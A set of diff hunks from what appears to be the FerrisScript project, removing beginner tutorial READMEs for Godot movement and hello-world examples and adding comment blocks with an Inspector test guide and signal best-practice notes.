-- Moves right at 100 pixels/second
-- Reverses at X = 10.0
-- Moves left at 100 pixels/second
-- Reverses at X = -10.0
-- Repeats forever
-
-**Visual effect**: Looks like a ball bouncing between two walls.
-
-## Common Gotchas
-
-### 1. Node Doesn't Reverse Direction
-
-**Problem**: Node moves past the boundaries.
-
-**Solutions**:
-
-- Check that `dir` is declared **global** (before `fn _process`)
-- Verify `mut` keyword is present (`let mut dir`)
-- Add `print(dir)` to debug: see if `dir` changes
-- Add `print(self.position.x)` to see current position
-
-**Example debugging:**
-
-```ferris
-fn _process(delta: f32) {
-    print("Position:", self.position.x, "Direction:", dir);
-    // ... rest of code
-}
-```
-
-### 2. Node Reverses Too Early or Too Late
-
-**Problem**: Boundaries don't match expectations.
-
-**Solution**: Adjust the boundary values:
-
-```ferris
-if self.position.x > 500.0 {  // Right edge of 1000px-wide screen
-    dir = -1.0;
-}
-if self.position.x < -500.0 {  // Left edge
-    dir = 1.0;
-}
-```
-
-**Common screen widths:**
-
-- 1920 (Full HD): Use ±960 for center-based coordinates
-- 1280 (HD): Use ±640
-- 800 (small window): Use ±400
-
-### 3. Node "Sticks" at Boundary
-
-**Problem**: Node oscillates rapidly at the boundary.
-
-**Cause**: The boundary check happens **after** movement, so the node can overshoot.
-
-**Example at 60 FPS:**
-
-- Frame N: `position.x = 9.6`, moves to `11.2` (overshoots 10.0)
-- Boundary hit, `dir = -1.0`
-- Frame N+1: `position.x = 11.2`, moves to `9.6`
-- No boundary hit (9.6 < 10.0)
-- Frame N+2: `position.x = 9.6`, moves to `11.2`
-- Boundary hit again...
-
-**Solution** (if needed): Check boundary **before** applying movement:
-
-```ferris
-if self.position.x + dir * 100.0 * delta > 10.0 {
-    dir = -1.0;
-}
-// ... then apply movement
-```
-
-However, for most use cases, the current code works fine (overshooting by 1-2 pixels is imperceptible).
-
-### 4. Movement Feels Robotic
-
-**Expected!** This example has instant direction changes (no easing or acceleration).
-
-**Improvements** (future variations):
-
-- Add acceleration/deceleration
-- Use easing functions (smoothstep, sine wave)
-- Add rotation to match direction
-
-### 5. "Cannot assign to immutable variable 'dir'" Error
-
-**Problem**: Compilation fails.
-
-**Solution**: Add `mut` to the variable declaration:
-
-```ferris
-let mut dir: f32 = 1.0;  // ✅ Correct (mutable)
-let dir: f32 = 1.0;      // ❌ Wrong (immutable)
-```
-
-FerrisScript enforces mutability at compile time (like Rust). This prevents accidental modifications.
-
-## Variations to Try
-
-### 1. Vertical Bouncing
-
-```ferris
-let mut dir: f32 = 1.0;
-
-fn _process(delta: f32) {
-    self.position.y += dir * 100.0 * delta;
-
-    if self.position.y > 300.0 {
-        dir = -1.0;
-    }
-    if self.position.y < -300.0 {
-        dir = 1.0;
-    }
-}
-```
-
-Bounces up and down instead of left and right.
-
-### 2. Diagonal Bouncing
-
-```ferris
-let mut dir_x: f32 = 1.0;
-let mut dir_y: f32 = 1.0;
-
-fn _process(delta: f32) {
-    self.position.x += dir_x * 100.0 * delta;
-    self.position.y += dir_y * 100.0 * delta;
-
-    if self.position.x > 400.0 { dir_x = -1.0; }
-    if self.position.x < -400.0 { dir_x = 1.0; }
-    if self.position.y > 300.0 { dir_y = -1.0; }
-    if self.position.y < -300.0 { dir_y = 1.0; }
-}
-```
-
-Bounces like a DVD screensaver (independent X and Y directions).
-
-### 3. Variable Speed
-
-```ferris
-let mut dir: f32 = 1.0;
-let speed: f32 = 50.0;  // Start slow
-
-fn _process(delta: f32) {
-    self.position.x += dir * speed * delta;
-
-    if self.position.x > 10.0 {
-        dir = -1.0;
-    }
-    if self.position.x < -10.0 {
-        dir = 1.0;
-    }
-}
-```
-
-Change `speed` to adjust how fast it bounces.
-
-### 4. Count Bounces
-
-```ferris
-let mut dir: f32 = 1.0;
-let mut bounces: int = 0;
-
-fn _process(delta: f32) {
-    self.position.x += dir * 100.0 * delta;
-
-    if self.position.x > 10.0 {
-        dir = -1.0;
-        bounces += 1;
-        print("Bounces:", bounces);
-    }
-    if self.position.x < -10.0 {
-        dir = 1.0;
-        bounces += 1;
-        print("Bounces:", bounces);
-    }
-}
-```
-
-Prints the total number of bounces.
-
-### 5. Pause After Each Bounce
-
-```ferris
-let mut dir: f32 = 1.0;
-let mut pause_timer: f32 = 0.0;
-
-fn _process(delta: f32) {
-    if pause_timer > 0.0 {
-        pause_timer -= delta;
-        return;  // Don't move while paused
-    }
-
-    self.position.x += dir * 100.0 * delta;
-
-    if self.position.x > 10.0 {
-        dir = -1.0;
-        pause_timer = 0.5;  // Pause for 0.5 seconds
-    }
-    if self.position.x < -10.0 {
-        dir = 1.0;
-        pause_timer = 0.5;
-    }
-}
-```
-
-Pauses for half a second at each boundary.
-
-### 6. Bounce with Rotation
-
-```ferris
-let mut dir: f32 = 1.0;
-
-fn _process(delta: f32) {
-    self.position.x += dir * 100.0 * delta;
-    // TODO: Rotation not yet supported in FerrisScript v0.0.1
-    // self.rotation += dir * 2.0 * delta;  // Future feature
-
-    if self.position.x > 10.0 { dir = -1.0; }
-    if self.position.x < -10.0 { dir = 1.0; }
-}
-```
-
-**Note**: Rotation is not yet implemented in FerrisScript v0.0.1. See [v0.1.0-ROADMAP.md](../../docs/v0.1.0-ROADMAP.md) for planned features.
-
-## Real-World Use Cases
-
-This pattern (boundary checks + direction reversal) is useful for:
-
-- **Platform game enemies**: Patrol back and forth on a platform
-- **Breakout/Pong**: Ball bouncing off walls
-- **UI animations**: Slider moving back and forth
-- **Screen savers**: DVD logo, bouncing ball
-- **Health bar animations**: Pulsing effect
-- **Camera shake**: Oscillate camera position
-
-## Performance Considerations
-
-This example is still **very efficient**:
-
-- 4 arithmetic operations per frame (`+`, `*`, two comparisons)
-- 2 conditional branches (CPU branch prediction handles these well)
-- No memory allocation
-
-**Comparison to GDScript:**  
-Roughly equivalent performance to:
-
-```gdscript
-var dir = 1.0
-
-func _process(delta):
-    position.x += dir * 100.0 * delta
-    if position.x > 10.0:
-        dir = -1.0
-    if position.x < -10.0:
-        dir = 1.0
-```
-
-## Next Steps
-
-After understanding this example:
-
-1. **Try the variations** above to explore conditionals and state
-2. **Read [ARCHITECTURE.md](../../docs/ARCHITECTURE.md)**: Learn about the language design and how features like global variables work internally
-3. **Explore [v0.1.0-ROADMAP.md](../../docs/v0.1.0-ROADMAP.md)**: See what's planned for future releases
-4. **Build your own**: Try making a simple game (Pong, Breakout, etc.)

-# Hello World Example
-
-**Difficulty**: Beginner  
-**Concepts**: Functions, Print statements, Godot lifecycle hooks
-
-## What This Demonstrates
-
-This is the simplest FerrisScript example. It demonstrates:
-
-- Defining a function
-- Using the `_ready()` lifecycle hook
-- Calling the `print()` builtin function
-- Basic FerrisScript syntax
-
-## The Code
-
-```ferris
-fn _ready() {
-    print("Hello from FerrisScript!");
-}
-```
-
-## Line-by-Line Explanation
-
-### `fn _ready() {`
-
-- `fn`: Keyword that declares a function
-- `_ready`: Special function name recognized by Godot
-  - Called **once** when the node enters the scene tree
-  - Similar to GDScript's `_ready()` or Unity's `Start()`
-- `()`: Parameter list (empty in this case - no parameters)
-- `{`: Start of the function body
-
-**Why `_ready` is special:**
-Godot has a lifecycle system where nodes receive callbacks at specific times:
-
-- `_ready()`: Called when node is added to scene (initialization)
-- `_process(delta)`: Called every frame (animation/movement)
-- `_physics_process(delta)`: Called every physics frame
-
-FerrisScript recognizes these function names and connects them to Godot automatically.
-
-### `print("Hello from FerrisScript!");`
-
-- `print`: Builtin function that outputs text to the console
-- `"Hello from FerrisScript!"`: String literal (text enclosed in double quotes)
-- `;`: Semicolon ends the statement
-
-**Where does the output go?**
-
-- In Godot editor: **Output** panel at the bottom (View → Output)
-- In exported game: Console output (varies by platform)
-
-### `}`
-
-Closes the function body.
-
-## Running This Example
-
-### Method 1: Test Compilation (Without Godot)
-
-You can verify FerrisScript files compile correctly without Godot:
-
-```bash
-# Test this example with the test tool
-cargo run --example test_ferris -- examples/hello.ferris
-
-# Or run the test suite
-cargo test --package ferrisscript_compiler test_compile_hello
-```
-
-**Output**: `✓ Compilation successful!` - means the script is valid FerrisScript.
-
-**Note**: This verifies the script compiles but **does not execute** `print()` (requires Godot runtime).
-
-### Method 2: In Godot (Recommended)
-
-1. **Build the GDExtension**:
-
-   ```powershell
-   cargo build --release
-   ```
-
-2. **Copy the extension** to your Godot project:
-   - Windows: `target/release/ferrisscript.dll`
-   - Linux: `target/release/libferrisscript.so`
-   - macOS: `target/release/libferrisscript.dylib`
-
-3. **Create a Godot scene**:
-   - Open Godot Editor
-   - Create a new scene with a `Node2D` or any node
-   - Attach a `FerrisScriptNode` (from the Add Node dialog)
-
-4. **Configure the FerrisScriptNode**:
-   - Select the `FerrisScriptNode` in the scene tree
-   - In the Inspector, find the "Script Path" property
-   - Set it to: `res://path/to/examples/hello.ferris` (adjust path as needed)
-
-5. **Run the scene** (F5 or play button)
-
-6. **Check the output**:
-   - Look at the **Output** tab in Godot (bottom panel)
-   - You should see: `Hello from FerrisScript!`
-
-## Expected Output
-
-```
-Hello from FerrisScript!
-```
-
-This message will appear **once** when the scene starts (because `_ready()` is called once).
-
-## Common Gotchas
-
-### 1. Nothing Prints
-
-**Problem**: You don't see any output.
-
-**Solutions**:
-
-- Check the **Output** tab in Godot (View → Output if hidden)
-- Verify the `FerrisScriptNode` has the correct `script_path`
-- Ensure the `.ferris` file path is relative to `res://` (Godot's resource root)
-- Make sure you **ran the scene** (F5), not just opened it
-
-### 2. "Failed to load script" Error
-
-**Problem**: Godot can't find the `.ferris` file.
-
-**Solutions**:
-
-- Double-check the file path in the Inspector
-- Use Godot's file browser (📁 button next to Script Path) to select the file
-- Ensure the file is in your Godot project directory (under `res://`)
-
-### 3. "Unknown function: print" Error
-
-**Problem**: FerrisScript doesn't recognize `print`.
-
-**Solutions**:
-
-- This should not happen (bug in runtime)
-- Verify you're using the latest build: `cargo build --release`
-- Report an issue on GitHub if this persists
-
-### 4. GDExtension Not Loading
-
-**Problem**: Godot doesn't recognize `FerrisScriptNode`.
-
-**Solutions**:
-
-- Ensure you have a `.gdextension` file in your Godot project
-- Check the file paths in the `.gdextension` file match your compiled library
-- Restart Godot after building the extension
-- See [TROUBLESHOOTING.md](../../docs/TROUBLESHOOTING.md) for detailed GDExtension debugging
-
-## Variations to Try
-
-### 1. Multiple Print Statements
-
-```ferris
-fn _ready() {
-    print("Hello from FerrisScript!");
-    print("This is line 2");
-    print("This is line 3");
-}
-```
-
-Each `print()` outputs on a new line.
-
-### 2. Print Variables
-
-```ferris
-fn _ready() {
-    let name = "FerrisScript";
-    let version = 0.1;
-    print("Language:", name);
-    print("Version:", version);
-}
-```
-
-`print()` can take multiple arguments separated by commas.
-
-### 3. Print with Expressions
-
-```ferris
-fn _ready() {
-    print("2 + 2 =", 2 + 2);
-    print("10 * 5 =", 10 * 5);
-}
-```
-
-Expressions are evaluated before printing.
-
-### 4. Combine with `_process`
-
-```ferris
-fn _ready() {
-    print("Scene started!");
-}
-
-fn _process(delta: f32) {
-    print("Frame time:", delta);
-}
-```
-
-**Warning**: This will print every frame (60+ times per second)! Your console will fill up quickly.
-
-## Common Mistakes and Error Messages
-
-FerrisScript provides helpful error messages to guide you. Here are common mistakes you might make while learning:
-
-### Mistake 1: Typo in Function Name
-
-**Incorrect Code:**
-
-```ferris
-fn _redy() {  // Typo: should be _ready
-    print("Hello!");
-}
-```
-
-**Error Message:**
-
-```
-No entry point function found (missing _ready, _process, or other lifecycle methods)
-```
-
-**Fix**: Change `_redy` to `_ready`. Function names must be spelled exactly.
-
----
-
-### Mistake 2: Forgetting Semicolon
-
-**Incorrect Code:**
-
-```ferris
-fn _ready() {
-    print("Hello")  // Missing semicolon
-}
-```
-
-**Error Message:**
-
-```
-Expected ';', found '}' at line 3, column 1
-
- 1 | fn _ready() {
- 2 |     print("Hello")
-   |                   ^ Expected ';' before end of statement
- 3 | }
-```
-
-**Fix**: Add a semicolon after statements: `print("Hello");`
-
----
-
-### Mistake 3: Wrong Argument Type for print()
-
-**Incorrect Code:**
-
-```ferris
-fn _ready() {
-    print(42);  // print expects string, not number
-}
-```
-
-**Error Message:**
-
-```
-Function 'print' argument 0 has wrong type: expected string, found i32 at line 2, column 5
-
- 1 | fn _ready() {
- 2 |     print(42);
-   |     ^ Argument 0 must be of type string
- 3 | }
-```
-
-**Fix**: Convert to string or use a string literal: `print("42");`
-
----
-
-### Mistake 4: Missing Quotes Around String
-
-**Incorrect Code:**
-
-```ferris
-fn _ready() {
-    print(Hello);  // Missing quotes
-}
-```
-
-**Error Message:**
-
-```
-Undefined variable 'Hello' at line 2, column 11
-
- 1 | fn _ready() {
- 2 |     print(Hello);
-   |           ^ Variable must be declared before use
- 3 | }
-```
-
-**Fix**: Add quotes to make it a string: `print("Hello");`
-
----
-
-### Mistake 5: Using Wrong Quote Type
-
-**Incorrect Code:**
-
-```ferris
-fn _ready() {
-    print('Hello');  // Single quotes not supported
-}
-```
-
-**Error Message:**
-
-```
-Unexpected character ''' at line 2, column 11
-
- 1 | fn _ready() {
- 2 |     print('Hello');
-   |           ^ This character is not valid in FerrisScript
- 3 | }
-```
-
-**Fix**: Use double quotes for strings: `print("Hello");`
-
----
-
-### Mistake 6: Unterminated String
-
-**Incorrect Code:**
-
-```ferris
-fn _ready() {
-    print("Hello
-    print("World");
-}
-```
-
-**Error Message:**
-
-```
-Unterminated string at line 2, column 11
-
- 1 | fn _ready() {
- 2 |     print("Hello
-   |           ^ String must be closed with "
- 3 |     print("World");
-```
-
-**Fix**: Close the string on the same line: `print("Hello");`
-
----
-
-### Tips for Reading Error Messages
-
-1. **Look at the line number**: The error message shows exactly where the problem is (line 2, column 11)
-
-2. **Read the source context**: The error shows ±2 lines of code around the problem
-
-3. **Follow the pointer**: The `^` character points to the exact location of the error
-
-4. **Read the hint**: The helpful message after the `^` explains what's expected
-
-5. **Try the fix**: Error messages often suggest the correct solution
-
-### Learning from Errors
-
-Error messages are your friend! They're designed to help you learn FerrisScript quickly. When you see an error:
-
-1. Don't panic - errors are normal while learning
-2. Read the entire message (not just the first line)
-3. Look at the source context to understand the problem
-4. Follow the helpful hint to fix it
-5. Learn the pattern for next time
-

+
+// ====================
+// INSPECTOR TEST GUIDE
+// ====================
+
+// HOW TO TEST THIS FILE:
+//
+// 1. SETUP:
+//    - Compile: cargo build --package ferrisscript_godot_bind
+//    - Open Godot Editor
+//    - Create new Node2D in scene
+//    - Attach FerrisScriptNode script component
+//
+// 2. SET SCRIPT PATH:
+//    - In Inspector, find "Script Path" property
+//    - Set to: res://examples/inspector_test.ferris
+//    - Save scene
+//
+// 3. TEST PROPERTY DISPLAY:
+//    - Inspector should show all 20+ exported properties
+//    - Properties grouped by type
+//    - Sliders for range() properties
+//    - Dropdowns for enum() properties
+//    - File pickers for file() properties
+//
+// 4. TEST PROPERTY READING:
+//    - Check default values match declarations:
+//      * player_health = 100
+//      * movement_speed = 5.5
+//      * character_class = "Warrior"
+//      * spawn_position = (100.0, 200.0)
+//
+// 5. TEST PROPERTY WRITING:
+//    - Change player_health to 75 → verify in console output
+//    - Change movement_speed to 3.0 → verify in console
+//    - Change character_class to "Mage" → verify in console
+//    - Change spawn_position to (50, 50) → verify in console
+//
+// 6. TEST RANGE CLAMPING:
+//    - Try to set stamina to 150 → should clamp to 100
+//    - Try to set stamina to -10 → should clamp to 0
+//    - Try to set opacity to 1.5 → should clamp to 1.0
+//    - Try to set temperature to 200 → should clamp to 100
+//
+// 7. TEST HOT-RELOAD:
+//    - Modify this file (change default value)
+//    - Save file
+//    - Inspector should update automatically (no scene reload)
+//    - Verify new default value appears
+//
+// 8. TEST RUNTIME UPDATES:
+//    - Run scene (F5)
+//    - Console should print all property values
+//    - Rotation should animate (0-360)
+//    - Stamina should regenerate to 100
+//
+// 9. TEST TYPE CONVERSION:
+//    - All 8 types should display correctly
+//    - Vector2 should show X/Y fields
+//    - Color should show R/G/B/A fields
+//    - Rect2 should show Position/Size
+//    - Transform2D should show Position/Rotation/Scale
+//
+// 10. TEST ERROR HANDLING:
+//     - Built-in Node2D properties (position, rotation) should still work
+//     - Invalid property names should not crash
+//     - Type mismatches should log errors gracefully
+
+// ====================
+// EXPECTED BEHAVIOR
+// ====================
+
+// ✅ PASS: All 20+ properties visible in Inspector
+// ✅ PASS: Default values correct on first load
+// ✅ PASS: Inspector changes update runtime immediately
+// ✅ PASS: Range clamping works (150 → 100, -10 → 0)
+// ✅ PASS: Enum dropdowns show correct options
+// ✅ PASS: File pickers work (select files, paths stored)
+// ✅ PASS: Struct types editable (Vector2, Color, etc.)
+// ✅ PASS: Hot-reload updates properties automatically
+// ✅ PASS: Runtime updates visible in console
+// ✅ PASS: No crashes or errors during normal use
+
+// ====================
+// TROUBLESHOOTING
+// ====================
+
+// ❌ Properties not visible?
+//    → Check #[class(tool)] annotation in godot_bind/src/lib.rs
+//    → Verify script path is correct (res://examples/inspector_test.ferris)
+//    → Check console for compilation errors
+
+// ❌ Changes not saving?
+//    → Verify properties are 'let mut' not 'let'
+//    → Check set_property() returns true
+//    → Look for errors in Godot console
+
+// ❌ Range clamping not working?
+//    → Verify from_inspector=true in set_property()
+//    → Check range hint syntax: @export(range(min, max, step))
+
+// ❌ Hot-reload not working?
+//    → Verify notify_property_list_changed() called in load_script()
+//    → Check if script path is res:// (not absolute path)
+

-# Move Example
-
-**Difficulty**: Beginner  
-**Concepts**: Frame-by-frame updates, Delta time, Property access, Arithmetic operators
-
-## What This Demonstrates
-
-This example shows a basic animation in Godot. It demonstrates:
-
-- Using the `_process(delta)` lifecycle hook
-- Accessing node properties (`self.position.x`)
-- Performing arithmetic with delta time
-- Modifying a node's position every frame
-
-## The Code
-
-```ferris
-fn _process(delta: f32) {
-    self.position.x += 50.0 * delta;
-}
-```
-
-## Line-by-Line Explanation
-
-### `fn _process(delta: f32) {`
-
-- `fn`: Declares a function
-- `_process`: Special function name for Godot's frame update callback
-  - Called **every frame** (typically 60 times per second)
-  - Used for animations, movement, and input handling
-- `delta: f32`: Parameter declaration
-  - `delta`: Time elapsed since the last frame (in seconds)
-  - `: f32`: Type annotation (32-bit floating point number)
-  - Typically `delta` ≈ 0.016 seconds (1/60 for 60 FPS)
-
-**Why `_process` instead of `_physics_process`?**
-
-- `_process(delta)`: Runs every visual frame (60 FPS or monitor refresh rate)
-- `_physics_process(delta)`: Runs every physics frame (fixed 60 FPS by default)
-
-Use `_process` for visual effects and non-physics movement (like this example).  
-Use `_physics_process` for physics-based movement (collisions, velocity, etc.).
-
-### `self.position.x += 50.0 * delta;`
-
-This is the core of the animation. Let's break it down into parts:
-
-#### `self`
-
-- Refers to the **current Godot node** that this script is attached to
-- In FerrisScript, `self` is a special variable (like `this` in C++/C# or `self` in Python)
-- You can access properties and methods of the node through `self`
-
-#### `.position`
-
-- Accesses the `position` property of the node
-- `position` is a `Vector2` (2D coordinate: `x` and `y`)
-- All `Node2D` subclasses have this property (Sprite2D, CharacterBody2D, etc.)
-
-#### `.x`
-
-- Accesses the `x` component of the `Vector2`
-- `x` is the horizontal position (left-right)
-- `y` would be the vertical position (up-down, not used here)
-
-#### `+=`
-
-- Compound assignment operator: "add to and assign"
-- `a += b` is shorthand for `a = a + b`
-- Here: "add something to `self.position.x` and store the result back"
-
-#### `50.0 * delta`
-
-- Multiplies `50.0` (pixels per second) by `delta` (seconds per frame)
-- Result: **pixels to move this frame**
-
-**Example calculation:**
-
-- Speed: 50 pixels/second
-- Delta: 0.016 seconds (one frame at 60 FPS)
-- Movement: 50 × 0.016 = **0.8 pixels per frame**
-- Over 60 frames (1 second): 0.8 × 60 = **50 pixels**
-
-**Why multiply by delta?**  
-Without `delta`, movement would be **framerate-dependent**:
-
-- 60 FPS: moves 50 pixels per frame = 3000 pixels/second
-- 30 FPS: moves 50 pixels per frame = 1500 pixels/second
-
-With `delta`, movement is **framerate-independent**:
-
-- 60 FPS: moves 0.8 pixels per frame = 50 pixels/second
-- 30 FPS: moves 1.6 pixels per frame = 50 pixels/second
-
-This ensures the animation looks the same regardless of performance.
-
-#### `;`
-
-Ends the statement.
-
-## Running This Example
-
-### Prerequisites
-
-- Godot project with FerrisScript GDExtension installed (see [hello example](../hello/README.md))
-- A scene with a `Node2D` or `Sprite2D` node
-
-### Steps
-
-1. **Attach the script**:
-   - Add a `FerrisScriptNode` to your scene
-   - Set `script_path` to `res://path/to/examples/move.ferris`
-
-2. **Add a visual element** (optional but recommended):
-   - Add a `Sprite2D` as a child of the `FerrisScriptNode`
-   - Assign a texture (any image) to the `Sprite2D`
-   - This lets you **see** the movement
-
-3. **Run the scene** (F5)
-
-4. **Observe**:
-   - The node moves to the right at **50 pixels per second**
-   - It will continue forever (no boundary checks)
-
-## Expected Behavior
-
-- **Initial position**: Whatever you set in the editor (default: `(0, 0)`)
-- **Movement**: Steady rightward motion
-- **Speed**: 50 pixels per second
-- **Direction**: Always right (positive X)
-
-After ~20 seconds, the node will have moved ~1000 pixels off-screen (typical screen width: 1920 pixels).
-
-## Common Gotchas
-
-### 1. Node Moves Too Fast or Too Slow
-
-**Problem**: Movement doesn't feel right.
-
-**Solution**: Adjust the speed constant:
-
-```ferris
-// Slower (10 pixels/second)
-self.position.x += 10.0 * delta;
-
-// Faster (200 pixels/second)
-self.position.x += 200.0 * delta;
-```
-
-Try values between `10.0` and `500.0` to find what feels good.
-
-### 2. Node Doesn't Move
-
-**Problem**: No visible movement.
-
-**Solutions**:
-
-- Ensure the node is a `Node2D` or subclass (has a `position` property)
-- Check that the node is **visible** (not hidden or off-screen)
-- Add a `print(self.position.x)` to verify position is changing
-- Make sure `_process()` is being called (add `print("Frame!")` temporarily)
-
-### 3. Node Moves Vertically Instead
-
-**Problem**: Node moves up/down instead of left/right.
-
-**Solution**: You modified `y` instead of `x`. Use:
-
-```ferris
-self.position.y += 50.0 * delta;  // Vertical (down is positive)
-```
-
-**Godot's coordinate system:**
-
-- `+X`: Right
-- `-X`: Left
-- `+Y`: Down (not up!)
-- `-Y`: Up
-
-### 4. Movement is Choppy/Stuttery
-
-**Problem**: Animation isn't smooth.
-
-**Solutions**:
-
-- Check framerate (Godot shows FPS in the top-right during play)
-- Ensure V-Sync is enabled (Project Settings → Display → Window → V-Sync Mode → Enabled)
-- Use `_process` (not `_physics_process`) for visual animations
-- Close other programs that might be using CPU/GPU
-
-### 5. Node Moves Off-Screen and Disappears
-
-**Expected behavior!** This example has no boundary checks.  
-See the [Bounce Example](../bounce/README.md) to learn how to add boundaries.
-
-## Variations to Try
-
-### 1. Move Left Instead
-
-```ferris
-fn _process(delta: f32) {
-    self.position.x -= 50.0 * delta;  // Negative = left
-}
-```
-
-### 2. Move Vertically
-
-```ferris
-fn _process(delta: f32) {
-    self.position.y += 50.0 * delta;  // Down
-}
-
-// Or move up:
-fn _process(delta: f32) {
-    self.position.y -= 50.0 * delta;  // Up
-}
-```
-
-### 3. Move Diagonally
-
-```ferris
-fn _process(delta: f32) {
-    self.position.x += 50.0 * delta;  // Right
-    self.position.y += 50.0 * delta;  // Down
-}
-```
-
-### 4. Variable Speed
-
-```ferris
-let mut speed: f32 = 50.0;
-
-fn _process(delta: f32) {
-    self.position.x += speed * delta;
-    speed += 10.0 * delta;  // Accelerate over time
-}
-```
-
-This makes the node speed up as it moves (like a car accelerating).
-
-### 5. User-Controlled Speed
-
-```ferris
-let speed: f32 = 100.0;
-
-fn _process(delta: f32) {
-    // TODO: Add input handling (future FerrisScript feature)
-    // For now, speed is constant
-    self.position.x += speed * delta;
-}
-```
-
-**Note**: Input handling is not yet implemented in FerrisScript v0.0.1. See [v0.1.0-ROADMAP.md](../../docs/v0.1.0-ROADMAP.md) for planned features.
-
-### 6. Print Position (Debugging)
-
-```ferris
-fn _process(delta: f32) {
-    self.position.x += 50.0 * delta;
-    
-    // Print every 60 frames (once per second at 60 FPS)
-    let frame_count = self.position.x / 50.0;
-    if frame_count % 1.0 < delta {
-        print("Position X:", self.position.x);
-    }
-}
-```
-
-This prints the X position approximately once per second.
-
-## Physics vs Visual Movement
-
-### Use `_process` when
-
-- Animating sprites (position, rotation, scale)
-- UI animations (fading, sliding)
-- Non-gameplay effects (particles, shaders)
-- Following the mouse cursor
-
-### Use `_physics_process` when
-
-- Applying forces/velocity
-- Handling collisions
-- Character controllers
-- Projectiles
-- Anything that interacts with physics
-
-This example uses `_process` because:
-
-- No physics interactions (no collisions, no velocity)
-- Simple visual movement (like a scrolling background)
-
-## Performance Considerations
-
-This example is **very efficient**:
-
-- Only two arithmetic operations per frame (`*` and `+=`)
-- No memory allocation
-- No function calls (besides `_process` itself)
-
-Even with 1000+ nodes running this script, performance would be excellent.
-
-**Comparison to GDScript:**  
-This FerrisScript version is roughly **equivalent** in performance to:
-
-```gdscript
-func _process(delta):
-    position.x += 50.0 * delta
-```
-
-## Next Steps
-
-After understanding this example:
-
-1. **[Bounce Example](../bounce/README.md)**: Add boundaries and conditionals
-2. **[ARCHITECTURE.md](../../docs/ARCHITECTURE.md)**: Learn about variables, types, operators, and how `self.position` works internally
-3. **[v0.1.0-ROADMAP.md](../../docs/v0.1.0-ROADMAP.md)**: See what's planned for future releases

+    // take_damage(1);
+    
+    // Example: Update position signal
+    // update_position();
+}
+
+// ===== Best Practices =====
+// 
+// 1. Declare all signals at the top of the file
+// 2. Use descriptive signal names (past tense verbs)
+// 3. Include relevant data as parameters
+// 4. Type signal parameters appropriately
+// 5. Emit signals after state changes
+// 6. Connect signals in Godot editor for maximum flexibility
+// 
+// ===== Connecting Signals in Godot =====
+// 
+// In the Godot editor:
+// 1. Select the FerrisScriptNode in the scene tree
+// 2. Go to the "Node" tab (next to Inspector)
+// 3. Click "Signals" section
+// 4. You'll see all declared signals
+// 5. Double-click a signal to connect it to a method
+// 6. Select target node and method
+// 7. Signal will fire when emit_signal() is called
+// 
+// ===== Error Handling =====
+// 
+// Common errors and fixes:
+// 
+// E301: Signal Already Defined
+//   - Don't declare the same signal twice
+// 
+// E302: Signal Not Defined  
+//   - Declare signal before emitting it
+//   - Check spelling of signal name
+// 
+// E303: Parameter Count Mismatch
+//   - Provide all required parameters to emit_signal()
+// 
+// E304: Parameter Type Mismatch
+//   - Use correct types for signal parameters
+//   - Note: i32 can be automatically converted to f32
+// 
+// E501: emit_signal Requires Signal Name
+//   - Always provide signal name as first argument
+// 
+// E502: Signal Name Must Be String
+//   - Signal name must be a string literal

+
+// ====================
+// INSPECTOR TEST GUIDE
+// ====================
+
+// HOW TO TEST THIS FILE:
+//
+// 1. SETUP:
+//    - Compile: cargo build --package ferrisscript_godot_bind
+//    - Open Godot Editor
+//    - Create new Node2D in scene
+//    - Attach FerrisScriptNode script component
+//
+// 2. SET SCRIPT PATH:
+//    - In Inspector, find "Script Path" property
+//    - Set to: res://examples/inspector_test.ferris
+//    - Save scene
+//
+// 3. TEST PROPERTY DISPLAY:
+//    - Inspector should show all 20+ exported properties
+//    - Properties grouped by type
+//    - Sliders for range() properties
+//    - Dropdowns for enum() properties
+//    - File pickers for file() properties
+//
+// 4. TEST PROPERTY READING:
+//    - Check default values match declarations:
+//      * player_health = 100
+//      * movement_speed = 5.5
+//      * character_class = "Warrior"
+//      * spawn_position = (100.0, 200.0)
+//
+// 5. TEST PROPERTY WRITING:
+//    - Change player_health to 75 → verify in console output
+//    - Change movement_speed to 3.0 → verify in console
+//    - Change character_class to "Mage" → verify in console
+//    - Change spawn_position to (50, 50) → verify in console
+//
+// 6. TEST RANGE CLAMPING:
+//    - Try to set stamina to 150 → should clamp to 100
+//    - Try to set stamina to -10 → should clamp to 0
+//    - Try to set opacity to 1.5 → should clamp to 1.0
+//    - Try to set temperature to 200 → should clamp to 100
+//
+// 7. TEST HOT-RELOAD:
+//    - Modify this file (change default value)
+//    - Save file
+//    - Inspector should update automatically (no scene reload)
+//    - Verify new default value appears
+//
+// 8. TEST RUNTIME UPDATES:
+//    - Run scene (F5)
+//    - Console should print all property values
+//    - Rotation should animate (0-360)
+//    - Stamina should regenerate to 100
+//
+// 9. TEST TYPE CONVERSION:
+//    - All 8 types should display correctly
+//    - Vector2 should show X/Y fields
+//    - Color should show R/G/B/A fields
+//    - Rect2 should show Position/Size
+//    - Transform2D should show Position/Rotation/Scale
+//
+// 10. TEST ERROR HANDLING:
+//     - Built-in Node2D properties (position, rotation) should still work
+//     - Invalid property names should not crash
+//     - Type mismatches should log errors gracefully
+
+// ====================
+// EXPECTED BEHAVIOR
+// ====================
+
+// ✅ PASS: All 20+ properties visible in Inspector
+// ✅ PASS: Default values correct on first load
+// ✅ PASS: Inspector changes update runtime immediately
+// ✅ PASS: Range clamping works (150 → 100, -10 → 0)
+// ✅ PASS: Enum dropdowns show correct options
+// ✅ PASS: File pickers work (select files, paths stored)
+// ✅ PASS: Struct types editable (Vector2, Color, etc.)
+// ✅ PASS: Hot-reload updates properties automatically
+// ✅ PASS: Runtime updates visible in console
+// ✅ PASS: No crashes or errors during normal use
+
+// ====================
+// TROUBLESHOOTING
+// ====================
+
+// ❌ Properties not visible?
+//    → Check #[class(tool)] annotation in godot_bind/src/lib.rs
+//    → Verify script path is correct (res://examples/inspector_test.ferris)
+//    → Check console for compilation errors
+
+// ❌ Changes not saving?
+//    → Verify properties are 'let mut' not 'let'
+//    → Check set_property() returns true
+//    → Look for errors in Godot console
+
+// ❌ Range clamping not working?
+//    → Verify from_inspector=true in set_property()
+//    → Check range hint syntax: @export(range(min, max, step))
+
+// ❌ Hot-reload not working?
+//    → Verify notify_property_list_changed() called in load_script()
+//    → Check if script path is res:// (not absolute path)
+

+// ===== Best Practices =====
+// 
+// 1. Declare all signals at the top of the file
+// 2. Use descriptive signal names (past tense verbs)
+// 3. Include relevant data as parameters
+// 4. Type signal parameters appropriately
+// 5. Emit signals after state changes
